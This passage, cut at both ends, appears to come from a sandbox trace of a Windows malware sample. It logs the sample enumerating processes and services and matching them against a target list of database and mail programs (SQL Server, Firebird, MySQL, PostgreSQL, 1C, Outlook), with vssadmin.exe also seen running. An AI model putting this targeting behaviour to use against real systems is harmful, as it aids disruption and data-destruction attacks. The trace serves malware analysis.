lpString2="WinDefend") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0216.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0216.495] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0216.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0216.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0216.495] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0216.495] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0216.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0216.495] lstrlenW (lpString="Winmgmt") returned 7 [0216.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0216.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0216.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0216.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0216.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0216.495] lstrlenW (lpString="wscsvc") returned 6 [0216.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0216.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0216.495] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0216.495] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0216.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0216.495] lstrlenW (lpString="wuauserv") returned 8 [0216.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0216.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0216.495] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0216.495] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0216.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0216.495] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0216.502] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.503] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.509] lstrlenW (lpString="System") returned 6 [0216.509] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0216.509] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0216.509] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0216.509] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0216.509] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0216.509] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0216.509] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0216.509] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.510] lstrlenW (lpString="smss.exe") returned 8 [0216.510] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0216.510] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0216.510] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.510] lstrlenW (lpString="csrss.exe") returned 9 [0216.510] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.511] lstrlenW (lpString="wininit.exe") returned 11 [0216.511] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.512] lstrlenW (lpString="csrss.exe") returned 9 [0216.512] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.512] lstrlenW (lpString="winlogon.exe") returned 12 [0216.512] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.513] lstrlenW (lpString="services.exe") returned 12 [0216.513] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.513] lstrlenW (lpString="lsass.exe") returned 9 [0216.513] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0216.514] lstrlenW (lpString="lsm.exe") returned 7 [0216.514] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.515] lstrlenW (lpString="svchost.exe") returned 11 [0216.515] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.516] lstrlenW (lpString="svchost.exe") returned 11 [0216.516] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.516] lstrlenW (lpString="svchost.exe") returned 11 [0216.516] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.517] lstrlenW (lpString="svchost.exe") returned 11 [0216.517] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.518] lstrlenW (lpString="svchost.exe") returned 11 [0216.518] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.525] lstrlenW (lpString="audiodg.exe") returned 11 [0216.525] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.525] lstrlenW (lpString="svchost.exe") returned 11 [0216.525] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.526] lstrlenW (lpString="svchost.exe") returned 11 [0216.526] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.527] lstrlenW (lpString="dwm.exe") returned 7 [0216.527] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.527] lstrlenW (lpString="explorer.exe") returned 12 [0216.527] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.528] lstrlenW (lpString="spoolsv.exe") returned 11 [0216.528] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0216.529] lstrlenW (lpString="taskhost.exe") returned 12 [0216.529] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.529] lstrlenW (lpString="svchost.exe") returned 11 [0216.529] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0216.530] lstrlenW (lpString="taskeng.exe") returned 11 [0216.530] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0216.536] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0216.536] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0216.537] lstrlenW (lpString="nova.exe") returned 8 [0216.537] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0216.537] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0216.537] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0216.538] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0216.538] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0216.539] lstrlenW (lpString="picks blair.exe") returned 15 [0216.539] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0216.539] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0216.539] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0216.540] lstrlenW (lpString="principal.exe") returned 13 [0216.540] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0216.541] lstrlenW (lpString="transportation.exe") returned 18 [0216.541] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0216.541] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0216.541] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0216.542] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0216.542] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0216.755] lstrlenW (lpString="planned.exe") returned 11 [0216.755] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0216.756] lstrlenW (lpString="springer andrew.exe") returned 19 [0216.756] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0216.757] lstrlenW (lpString="cakes import.exe") returned 16 [0216.757] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0216.757] lstrlenW (lpString="theory.exe") returned 10 [0216.757] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0216.758] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0216.758] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0216.758] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0216.758] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0216.759] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0216.759] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0216.760] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0216.760] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0216.760] lstrlenW (lpString="indicescancellation.exe") returned 23 [0216.760] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0216.761] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0216.761] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0216.761] lstrlenW (lpString="desk.exe") returned 8 [0216.761] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.762] lstrlenW (lpString="svchost.exe") returned 11 [0216.762] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0216.763] lstrlenW (lpString="sppsvc.exe") returned 10 [0216.763] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.763] lstrlenW (lpString="svchost.exe") returned 11 [0216.763] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.764] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0216.764] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.765] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0216.765] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0216.765] lstrlenW (lpString="winhost.exe") returned 11 [0216.765] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0216.766] lstrlenW (lpString="cmd.exe") returned 7 [0216.766] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0216.766] lstrlenW (lpString="conhost.exe") returned 11 [0216.767] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0216.767] lstrlenW (lpString="vssadmin.exe") returned 12 [0216.767] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0216.768] lstrlenW (lpString="VSSVC.exe") returned 9 [0216.768] Process32NextW (in: hSnapshot=0x1d8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0216.768] CloseHandle (hObject=0x1d8) returned 1 [0216.768] Sleep (dwMilliseconds=0x1f4) [0217.452] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6400e0 [0217.497] EnumServicesStatusExW (in: hSCManager=0x6400e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0217.498] GetLastError () returned 0xea [0217.498] EnumServicesStatusExW (in: hSCManager=0x6400e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a0c628, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a0c628, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0217.498] CloseServiceHandle (hSCObject=0x6400e0) returned 1 [0217.498] lstrlenW (lpString="Appinfo") returned 7 [0217.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0217.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0217.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0217.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0217.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0217.499] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0217.499] lstrlenW (lpString="AudioSrv") returned 8 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0217.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0217.499] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0217.499] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0217.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0217.499] lstrlenW (lpString="BFE") returned 3 [0217.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0217.499] lstrcmpiW 